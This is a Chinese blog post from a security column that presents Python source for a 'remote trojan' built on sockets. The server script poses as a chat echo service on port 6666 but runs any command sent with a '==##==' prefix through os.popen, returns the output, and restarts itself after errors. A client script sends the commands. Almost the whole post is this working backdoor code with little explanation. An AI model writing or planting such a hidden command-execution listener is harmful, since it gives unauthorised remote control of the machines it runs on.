基于Socket实现远程木马

qq_45616828

于 2022-10-26 19:52:59 发布

阅读量581

点赞数

分类专栏：网安文章标签：服务器运维

本文链接：https://blog.csdn.net/qq_45616828/article/details/127529728

版权

网安专栏收录该内容

40 篇文章 4 订阅

订阅专栏

一、实现Socket完整交互

1.server.py

2.client.py

3.执行结果

二、实现Socket远程木马

server.py
import os, socket

# def normal_talk():
#     s = socket.socket()
#     # s.bind(('127.0.0.1', 6666))     # 只允许本设备访问
#     s.bind(('0.0.0.0', 6666))         # 所有IP地址均可以访问6666端口
#     s.listen()
#     chanel, client = s.accept()       # 无法接受多个客户端
#     while True:
#         # chanel, client = s.accept()     # 此时accept()会进入阻塞状态
#         receive = chanel.recv(1024).decode()
#
#         print(f"收到消息：{receive}")
#         reply = receive.replace("吗？", "!")
#         chanel.send(reply.encode())
    # s.close()                         # 在死循环之后的代码，不可执行

# 核心思路：客户端发送一条特殊字符串，里面包含要执行的命令，让服务器端执行命令并返回结果给客户端
def attack_talk():
    try:
        s = socket.socket()
        s.bind(('0.0.0.0', 6666))
        s.listen()
        chanel, client = s.accept()
        while True:
            receive = chanel.recv(1024).decode()

            # ==##==,command
            if receive.startswith('==##=='):
                command = receive.split(',')[-1]
                reply = os.popen(command).read()
                chanel.send(f"命令{command}的运行结果：\n{reply}".encode())
            else:
                print(f"收到消息：{receive}")
                reply = receive.replace("吗？", "!")
                chanel.send(reply.encode())
    except:
        s.close()
        attack_talk()
#
if __name__ == '__main__':
    # normal_talk()
    attack_talk()

client.py
import socket

s = socket.socket()
# s.connect(('127.0.0.1', 6666))
s.connect(('127.0.0.1', 6666))
while True:
    message = input("请输入消息：")
    s.send(message.encode())
    receive = s.recv(10240)
    print(f"服务器回复：{receive.decode()}")